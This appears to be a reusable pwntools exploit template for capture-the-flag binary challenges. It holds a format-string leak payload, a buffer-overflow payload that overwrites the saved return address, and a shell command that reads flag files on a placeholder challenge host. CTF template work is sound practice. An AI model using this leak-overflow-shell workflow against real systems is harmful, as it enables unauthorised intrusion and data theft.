"""
PWN skeleton — copy & fill. (p4-team style)

Workflow:
  1. Leak (format string / GOT / libc)  -> step 1
  2. Build ROP / overwrite              -> step 2
  3. Get shell / read flag              -> step 3
"""
from lib.net import nc, receive_until, receive_until_match, send, sendline  # noqa
from pwn import *  # noqa  (ELF, ROP, p64, u64, context)

context.log_level = 'info'
context.arch = 'amd64'  # or 'i386'

HOST, PORT = "challenge.host", 1337
# binary = ELF('./challenge')
# libc   = ELF('./libc.so.6')


def step1_leak(s):
    """Leak libc/stack/PIE base. Adapt to the vuln (format string shown here)."""
    s.recv_until(b"name > ")
    # classic format-string leak
    sendline(s, b"%9$p|%11$p")
    line = s.recv_until(b"\n")
    leak = int(line.split(b"|")[0], 16)
    log.info("leak = %#x", leak)
    return leak


def step2_exploit(s, leak):
    """Construct payload. Fill with your gadgets/ROP."""
    payload = b"A" * 40          # padding to saved RIP
    payload += p64(leak)          # example: overwrite with leaked addr
    # payload += rop.chain(...)
    s.recv_until(b"message > ")
    sendline(s, payload)


def step3(s):
    s.recv_until(b"$ ")           # shell prompt, or just:
    sendline(s, b"cat flag*; cat /flag*")
    print(s.recvall(timeout=3).decode(errors='replace'))


def main():
    s = nc(HOST, PORT)
    leak = step1_leak(s)
    step2_exploit(s, leak)
    step3(s)
    s.close()


if __name__ == "__main__":
    main()